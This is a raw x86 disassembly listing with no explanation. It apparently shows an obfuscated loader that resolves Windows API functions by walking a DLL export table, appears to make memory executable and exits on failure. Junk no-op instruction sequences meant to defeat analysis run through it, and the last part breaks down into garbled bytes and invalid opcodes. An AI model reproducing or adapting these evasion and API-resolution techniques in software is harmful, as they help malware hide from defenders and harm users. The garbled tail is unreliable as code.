mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x42e331
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1a14], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1a18], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a1c], edx
mov dword [ebp - 0x78c], 0
jmp 0x42e119
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x42e325
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x1a14]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x1a18]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1a1c]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a20], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x42e189
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42e23b
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x42e23b
push ebx
add ebx, 0x10162
xor ebx, 0xfd2c
pop ebx
push eax
add eax, 0x10ad7
or eax, 0x32c8
pop eax
push edi
push edi
add esp, 4
call 0x42e1e4
add byte [eax*2 + 0x44433239], bh
dec edx
add esp, 4
pop edi
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
cmp edx, ecx
je 0x42e22d
mov edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x9d4]
cmp eax, edx
jne 0x42e234
jmp 0x42e17a
jmp 0x42e23b
push esi
add esi, 0x13ffd
xor esi, 0x8867
xor esi, 0x10470
xor esi, 0x17925
pop esi
push esi
push esi
add esp, 4
call 0x42e269
add byte [ebp + 0x39], cl
xor bh, byte [eax]
dec esi
aaa
cmp byte [edi], bh
dec edi
add esp, 4
pop esi
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
cmp ecx, eax
jne 0x42e29a
mov dword [ebp - 0xce4], 0
jmp 0x42e309
push ecx
push ebx
add esp, 4
xor ecx, 0x8515
or ecx, 0x144f6
pop ecx
push ebx
push edi
add esp, 4
or ebx, 0x13f05
pop ebx
push ecx
push esi
add esp, 4
jmp 0x42e2c5
xor ecx, 0x59af
pop ecx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
or ecx, 0x20
cmp edx, ecx
jge 0x42e2ff
mov dword [ebp - 0xce4], 0xffffffff
jmp 0x42e309
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xce4], 0
jne 0x42e320
mov edx, dword [ebp - 0x1a20]
mov dword [ebp - 0x520], edx
jmp 0x42e331
jmp 0x42e10a
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab4], ecx
push ebx
sub ebx, 0xaa75
or ebx, 0x142cd
or ebx, 0x11fd3
jmp 0x42e356
pop ebx
push ebx
push ebx
add esp, 4
xor ebx, 0x1566
pop ebx
push edx
push eax
add esp, 4
jmp 0x42e36e
pop edx
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x1a24], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x1694]
push ecx
mov edx, dword [ebp - 0x3e8]
push edx
call dword [ebp - 0x1a24]
test eax, eax
jne 0x42e3e2
push esi
push edx
add esp, 4
call 0x42e3b0
add byte [0x37444b4a], bh
dec ebx
dec eax
aaa
inc eax
add esp, 4
or esi, 0x7487
or esi, 0xe1c6
pop esi
push edx
add edx, 0x2ce2
or edx, 0xff42
pop edx
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x1a28], eax
push 0
call dword [ebp - 0x1a28]
mov ecx, dword [ebp - 0x1a2c]
mov dword [ebp - 0x798], ecx
jmp 0x42e3ff
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab8]
jae 0x42e45b
push eax
push esi
add esp, 4
add eax, 0x5b85
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x13ae5
pop ebx
push esi
or esi, 0x11f9c
call 0x42e43b
add byte [ebx], bh
dec ecx
cmp dh, byte ss:[ebx]
dec esi
dec edx
cmp dword [ebx + 0xf5e04c4], eax
mov dh, 0x8d
push edx
cld
invalid
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x1a30], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
push ecx
mov edx, dword [ebp - 0x1694]
push edx
mov eax, dword [ebp - 0x3e8]
push eax
call dword [ebp - 0x1a30]
test eax, eax
jne 0x42e4d3
push eax
push edi
add esp, 4
xor eax, 0x9b39
jmp 0x42e4a1
pop eax
push eax
jmp 0x42e4ac
or eax, 0x1460
pop eax
push ebx
push ecx
add esp, 4
add ebx, 0x604b
pop ebx
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x1a34], ecx
push 0
call dword [ebp - 0x1a34]
push ecx
xor ecx, 0x6cd
jmp 0x42e4e3
or ecx, 0x121f8
pop ecx
push ebx
add ebx, 0x10b83
jmp 0x42e4f6
or ebx, 0xc64f
pop ebx
push eax
add eax, 0xdb50
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff07ff
pop ecx
pop edx
mov dl, dl
je 0x42e56e
or byte [edi], al
mov dl, bh
sbb dword [edi], edx
pop es
pop es
out dx, eax
adc al, byte [edi]
pop es
pop es
pop es
inc edx
dec edx
push edi
cmp bh, byte [0x4e444d4e]
dec edi
mov cl, bl
or ebp, edi
adc byte [edi], al
pop es
pop es
pop es
push edx
push ebx
cmp edi, dword [esi]
inc ebp
inc ecx
dec ecx
push ecx
mov cl, bl
or esp, dword [edx - 0x33]
invalid
invalid
dec esi
int 0x8c
mov esp, 0x6c0606f5
int 0x8c
mov ebp, 0x7b0606f5
int 0x8c
mov esi, 0x540606f5
int 0x8c
mov edi, 0x760606f5
int 0x8c
sal ch, 6
push es
imul ecx, ebp, 0xffffff8c
sal ebp, 6
push es
jl 0x42e544
mov edx, es
cmc
push es
push es
jae 0x42e54b
mov ebx, es
cmc
push es
push es
insb byte es:[edi], dx
int 0x8c
invalid